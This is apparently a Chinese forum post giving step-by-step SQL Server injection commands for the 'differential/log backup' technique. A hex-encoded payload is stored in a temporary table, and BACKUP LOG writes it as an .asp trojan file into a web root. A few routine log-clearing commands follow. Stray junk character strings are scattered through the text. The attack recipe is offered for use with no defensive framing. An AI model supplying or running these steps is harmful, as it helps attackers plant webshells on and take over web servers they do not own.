差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录
7 P! D+ T0 J. f
; B, C; i! K; i注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
( A+ h* F) B9 C# q5 c2 z
7 g$ ^  P: \9 ~5 k3 a! Ialter database 数据库名 set RECOVERY FULL--
- Z' a4 ^- Y2 ?2 }
create table cmd (a image)--                    \**cmd是创建的临时表

backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
$ y9 `' ^! ~8 c% \, B" o
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
9 K! b; s/ Q. ^8 y: t! l8 X
! s* z+ {' ~: O' l  ~//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）
+ }  F) S0 h! t9 b) \/ i5 E& e
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)

drop table cmd--
# G% |! G+ H$ E/ n; v2 J+ X

f:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

最好多加几个回车0d0a,要不会出错哈
6 {1 e" _9 c1 M0 a

SQL   Server日志清空方法   

在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
7 n" I; `7 G+ a* d2 K1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   

2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   

3.收缩数据库：DBCC   SHRINKDATABASE(databasename)